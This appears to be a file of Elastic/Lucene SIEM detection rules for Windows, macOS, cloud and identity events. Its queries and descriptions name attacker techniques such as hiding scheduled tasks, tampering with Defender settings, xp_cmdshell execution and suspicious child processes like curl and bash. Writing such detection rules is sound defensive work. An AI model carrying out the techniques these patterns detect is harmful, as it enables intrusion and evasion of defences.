{"description": "Detects when GfxDownloadWrapper.exe downloads file from non standard URL", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c3627b84-e4bb-218f-cfe9-a37da9719d53", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "GfxDownloadWrapper.exe Downloads File from Suspicious URL", "query": "((process.executable:*\\\\GfxDownloadWrapper.exe AND (NOT (process.command_line:*gameplayapi.intel.com*))) AND (NOT (process.parent.executable:*\\\\GfxDownloadWrapper.exe)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "oscd.community"], "license": ""}
{"description": "Detects when highly privileged delegated permissions are granted on behalf of all users", "enabled": false, "false_positives": ["When the permission is legitimately needed for the app"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d5d9554b-3aff-3224-26f9-91f1d03cf9c5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Delegated Permissions Granted For All Users", "query": "properties.message:\"Add\\ delegated\\ permission\\ grant\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bailey Bercik '@baileybercik'", "Mark Morowczynski '@markmorow'"], "license": ""}
{"description": "Detects when multi-factor authentication (MFA) is disabled.", "enabled": false, "false_positives": ["MFA may be disabled and performed by a system administrator."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "4aff26b5-a005-4b58-544e-11bc425e7423", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Workspace MFA Disabled", "query": "(eventService:\"admin.googleapis.com\" AND eventName:(\"ENFORCE_STRONG_AUTHENTICATION\" OR \"ALLOW_STRONG_AUTHENTICATION\") AND new_value:\"false\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Detects when PIM alerts are set to disabled.", "enabled": false, "false_positives": ["Administrator disabling PIM alerts as an active choice."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "44e603de-a67d-de8b-f6ec-e05f492aa147", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PIM Alert Setting Changes To Disabled", "query": "properties.message:\"Disable\\ PIM\\ Alert\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1484"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1484", "name": "Domain Policy Modification", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Yochana Henderson", "'@Yochana-H'"], "license": ""}
{"description": "Detects when someone is adding or removing applications or folder from exploit guard \"ProtectedFolders\" and \"AllowedApplications\"", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3031a78a-9160-38db-11d1-1c1a60552ba6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Defender Exploit Guard Tamper", "query": "(winlog.channel:\"Microsoft\\-Windows\\-Windows\\ Defender\\/Operational\" AND winlog.event_id:\"5007\" AND ((NewValue:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ Defender\\\\Windows\\ Defender\\ Exploit\\ Guard\\\\Controlled\\ Folder\\ Access\\\\AllowedApplications\\\\* AND NewValue:(*\\\\Users\\\\Public\\\\* OR *\\\\AppData\\\\Local\\\\Temp\\\\* OR *\\\\Desktop\\\\* OR *\\\\PerfLogs\\\\* OR *\\\\Windows\\\\Temp\\\\*)) OR OldValue:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ Defender\\\\Windows\\ Defender\\ Exploit\\ Guard\\\\Controlled\\ Folder\\ Access\\\\ProtectedFolders\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when storage bucket is enumerated in Google Cloud.", "enabled": false, "false_positives": ["Storage Buckets being enumerated may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Storage Buckets enumerated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "da1d7790-dcf2-e39d-fe60-9b2ea03eca5a", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Google Cloud Storage Buckets Enumeration", "query": "gcp.audit.method_name:(\"storage.buckets.list\" OR \"storage.buckets.listChannels\")", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when storage bucket is modified or deleted in Google Cloud.", "enabled": false, "false_positives": ["Storage Buckets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Storage Buckets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "71ca9e30-7ef6-fcd4-e78e-2836ac772d73", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Cloud Storage Buckets Modified or Deleted", "query": "gcp.audit.method_name:(\"storage.buckets.delete\" OR \"storage.buckets.insert\" OR \"storage.buckets.update\" OR \"storage.buckets.patch\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when sucessful sign-ins increased by 10% or greater.", "enabled": false, "false_positives": ["Increase of users in the environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "490fde2a-7abe-204f-409b-f2fb0b090571", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Measurable Increase Of Sucessful Authentications", "query": "(winlog.event_data.Status:\"Success\" AND Count:\"<10%\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1078"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "MikeDuddington", "'@dudders1'", "Tim Shelton"], "license": ""}
{"description": "Detects when the \"index\" value of a scheduled task is modified from the registry. Which effectively hides it from any tooling such as \"schtasks /query\" (Read the referenced link for more information about the effects of this technique)", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ed96d766-ff85-a023-d910-ece0c5891612", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Hide Schedule Task Via Index Value Tamper", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\Tree\\\\* AND winlog.event_data.TargetObject:*Index* AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when the \"index\" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as \"schtasks /query\"", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9dd73443-f033-a9f8-199e-5d4305717615", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Removal Of Index Value to Hide Schedule Task", "query": "(winlog.event_data.EventType:\"DeleteKey\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\Tree\\\\* AND winlog.event_data.TargetObject:*Index*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started", "enabled": false, "false_positives": ["Legitimate use of the feature by administrators (rare)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b3d57a5c-c92e-4b48-9a79-5f124b7cf964", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MSSQL SPProcoption Set", "query": "(winlog.channel:\"Application\" AND Provider_Name:\"MSSQLSERVER\" AND winlog.event_id:\"33205\" AND Data:*object_name\\:sp_procoption* AND Data:*statement\\:EXEC*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when the 'AllowMultipleTSSessions' value is enabled. Which allows for multiple Remote Desktop connection sessions to be opened at once. This is often used by attacker as a way to connect to an RDP session without disconnecting the other users", "enabled": false, "false_positives": ["Legitmate use of the multi session functionality"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b672054f-3fa8-a22c-f78e-bc5465f5b7e7", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Winlogon AllowMultipleTSSessions Enable", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\AllowMultipleTSSessions AND winlog.event_data.Details:*DWORD\\ \$0x00000001\$)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when the Console Window Host (conhost.exe) process is spawned by a suspicious parent process, which could be indicative of code injection.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "129fc4ee-d529-4f71-6eb9-4bf1971a6040", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Conhost Spawned By Suspicious Parent Process", "query": "((process.executable.text:*\\\\conhost.exe AND process.parent.executable.text:(*\\\\svchost.exe OR *\\\\lsass.exe OR *\\\\services.exe OR *\\\\smss.exe OR *\\\\winlogon.exe OR *\\\\explorer.exe OR *\\\\rundll32.exe OR *\\\\regsvr32.exe OR *\\\\userinit.exe OR *\\\\wininit.exe OR *\\\\spoolsv.exe OR *\\\\ctfmon.exe)) AND (NOT (process.parent.command_line.text:(*\\-k\\ apphost\\ \\-s\\ AppHostSvc* OR *\\-k\\ imgsvc* OR *\\-k\\ netsvcs\\ \\-p\\ \\-s\\ NetSetupSvc* OR *\\-k\\ LocalSystemNetworkRestricted\\ \\-p\\ \\-s\\ NgcSvc* OR *\\-k\\ wsappx\\ \\-p\\ \\-s\\ ClipSVC* OR *\\-k\\ netsvcs\\ \\-p\\ \\-s\\ wlidsvc*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Tim Rauch"], "license": ""}
{"description": "Detects when the email sending feature is enabled for an AWS account and the email address verification request is dispatched in quick succession", "author": ["Janantha Marasinghe"], "enabled": false, "false_positives": ["Legitimate SES configuration activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b3d34313-09cb-7613-295a-90712607698d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential AWS Cloud Email Service Abuse", "query": "(eventSource:\"ses.amazonaws.com\" AND eventName:\"UpdateAccountSendingEnabled\" AND eventName:\"VerifyEmailIdentity\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Resource Development", "T1583"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0042", "reference": "", "name": "Resource Development"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1583", "name": "Acquire Infrastructure", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when the enablement of developer features such as \"Developer Mode\" or \"Application Sideloading\". Which allows the user to install untrusted packages.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "40cceda0-0ef0-9109-943a-b744e68915ed", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Signing Bypass Via Windows Developer Features - Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\AppModelUnlock* OR *\\\\Policies\\\\Microsoft\\\\Windows\\\\Appx\\\\*) AND winlog.event_data.TargetObject:(*\\\\AllowAllTrustedApps OR *\\\\AllowDevelopmentWithoutDevLicense) AND winlog.event_data.Details:\"DWORD (0x00000001)\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when the macOS Script Editor utility spawns an unusual child process.", "author": ["Tim Rauch (rule)", "Elastic (idea)"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "89d3e678-bfa2-3775-d186-54488a02693f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Execution via macOS Script Editor", "query": "(process.parent.executable.text:*\\/Script\\ Editor AND ((process.executable.text:(*\\/curl OR *\\/bash OR *\\/sh OR *\\/zsh OR *\\/dash OR *\\/fish OR *\\/osascript OR *\\/mktemp OR *\\/chmod OR *\\/php OR *\\/nohup OR *\\/openssl OR *\\/plutil OR *\\/PlistBuddy OR *\\/xattr OR *\\/sqlite OR *\\/funzip OR *\\/popen)) OR (process.executable.text:(*python* OR *perl*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Initial Access", "T1059", "T1059", "T1204", "T1204", "T1553", "T1566", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}, {"id": "T1566", "name": "Phishing", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1553", "name": "Subvert Trust Controls", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure is used to execute commands", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "af79e9c4-927d-2830-9b1f-56d89e084203", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MSSQL XPCmdshell Suspicious Execution", "query": "(winlog.channel:\"Application\" AND Provider_Name:\"MSSQLSERVER\" AND winlog.event_id:\"33205\" AND Data:*object_name\\:xp_cmdshell* AND Data:*statement\\:EXEC*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure setting is changed", "enabled": false, "false_positives": ["Legitimate enable/disable of the setting", "Note that since the event contain the change for both values. This means that this will trigger on both enable and disable"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5f7389cd-d52d-d28a-3ef9-19ae60101b1c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MSSQL XPCmdshell Option Change", "query": "(winlog.channel:\"Application\" AND Provider_Name:\"MSSQLSERVER\" AND winlog.event_id:\"15457\" AND Data:*xp_cmdshell*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when the registration of a VSS/VDS Provider as a COM+ application.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "abda8bb1-24a1-6fbc-ca6a-516df0e57086", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Registration via cscript.exe", "query": "(process.executable:*\\\\cscript.exe AND process.command_line:*\\-register* AND process.command_line:(*\\\\Windows\\ Kits\\\\10\\\\bin\\\\10.0.22000.0\\\\x64* OR *\\\\Windows\\ Kits\\\\10\\\\bin\\\\10.0.19041.0\\\\x64* OR *\\\\Windows\\ Kits\\\\10\\\\bin\\\\10.0.17763.0\\\\x64*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when there is a interruption in the authentication process.", "author": ["Austin Songer @austinsonger"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "1bf7d231-eda5-ed5c-ac76-4dd7cc796805", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Unusual Authentication Interruption", "query": "(((ResultType:\"50097\" AND ResultDescription:\"Device authentication is required\")) OR ((ResultType:\"50155\" AND ResultDescription:\"DeviceAuthenticationFailed\")) OR ((ResultType:\"50158\" AND ResultDescription:\"ExternalSecurityChallenge - External security challenge was not satisfied\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when unauthorized access to app occurs.", "enabled": false, "false_positives": ["User might of believe that they had access."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e640a41c-56ed-6b53-ff3a-e1c18586bee8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Okta Unauthorized Access to App", "query": "displaymessage:\"User\\ attempted\\ unauthorized\\ access\\ to\\ app\"", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when verclsid.exe is used to run COM object via GUID", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4ac3109f-91e7-1516-3ae7-fbdef33018f2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Verclsid.exe Runs COM Object", "query": "((process.executable:*\\\\verclsid.exe OR winlog.event_data.OriginalFileName:\"verclsid.exe\") AND (process.command_line:*\\/S* AND process.command_line:*\\/C*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "oscd.community"], "license": ""}
{"description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", "enabled": false, "false_positives": ["Administrators or Power users may remove their shares via cmd line"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f28ec04e-f131-1f7f-329c-1afe664c683d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "PowerShell Deleted Mounted Share", "query": "powershell.file.script_block_text:(*Remove\\-SmbShare* OR *Remove\\-FileShare*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "@redcanary", "Zach Stanford @svch0st"], "license": ""}
{"description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", "enabled": false, "false_positives": ["Administrators or Power users may remove their shares via cmd line"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e9790b5b-b198-440b-d7d9-413d0d327f0e", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Mounted Share Deleted", "query": "((process.executable:(*\\\\net.exe OR *\\\\net1.exe) OR winlog.event_data.OriginalFileName:(\"net.exe\" OR \"net1.exe\")) AND (process.command_line:*share* AND process.command_line:*\\/delete*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "@redcanary", "Zach Stanford @svch0st"], "license": ""}
{"description": "Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe. This could be a sign of obfuscation of a fat finger problem (typo by the developer).", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2fe65cbc-8e39-caa7-e3ec-6ba77785b1e0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Missing Space Characters in Command Lines", "query": "((process.command_line.text:(*cmd.exe\\/c* OR *\\\\cmd\\/c* OR *\\\"cmd\\/c* OR *cmd.exe\\/k* OR *\\\\cmd\\/k* OR *\\\"cmd\\/k*) OR process.command_line.text:(*\\/cwhoami* OR *\\/cpowershell* OR *\\/cschtasks* OR *\\/cbitsadmin* OR *\\/ccertutil* OR *\\/kwhoami* OR *\\/kpowershell* OR *\\/kschtasks* OR *\\/kbitsadmin* OR *\\/kcertutil*) OR process.command_line.text:(*cmd.exe\\ \\/c* OR *cmd\\ \\/c* OR *cmd.exe\\ \\/k* OR *cmd\\ \\/k*)) AND (NOT ((process.command_line.text:(*cmd.exe\\ \\/c\\ * OR *cmd\\ \\/c\\ * OR *cmd.exe\\ \\/k\\ * OR *cmd\\ \\/k\\ *)) OR (process.command_line.text:*AppData\\\\Local\\\\Programs\\\\Microsoft\\ VS\\ Code\\\\resources\\\\app\\\\node_modules* OR process.command_line.text:*cmd.exe\\/c\\ . OR process.command_line.text:\"cmd.exe\\ \\/c\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects windows executables that writes files with suspicious extensions", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b522f419-1d30-da3c-5370-0d16d2ba89f7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Binaries Write Suspicious Extensions", "query": "(process.executable.text:(*\\\\rundll32.exe OR *\\\\smss.exe OR *\\\\RuntimeBroker.exe OR *\\\\sihost.exe OR *\\\\lsass.exe OR *\\\\csrss.exe OR *\\\\winlogon.exe OR *\\\\wininit.exe) AND file.path.text:(*.bat OR *.vbe OR *.txt OR *.vbs OR *.exe OR *.ps1 OR *.hta OR *.iso))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects Windows Pcap driver installation based on a list of associated .sys files.", "author": ["Cian Heasley"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9d78b42f-dea7-c7ba-face-3e1c2d5c585b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Pcap Drivers", "query": "(winlog.channel:\"System\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:(*pcap* OR *npcap* OR *npf* OR *nm3* OR *ndiscap* OR *nmnt* OR *windivert* OR *USBPcap* OR *pktmon*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1040"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Windows Pcap driver installation based on a list of associated .sys files.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9d78b42f-dea7-c7ba-face-3e1c2d5c585b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Pcap Drivers", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:(*pcap* OR *npcap* OR *npf* OR *nm3* OR *ndiscap* OR *nmnt* OR *windivert* OR *USBPcap* OR *pktmon*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1040"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1040", "name": 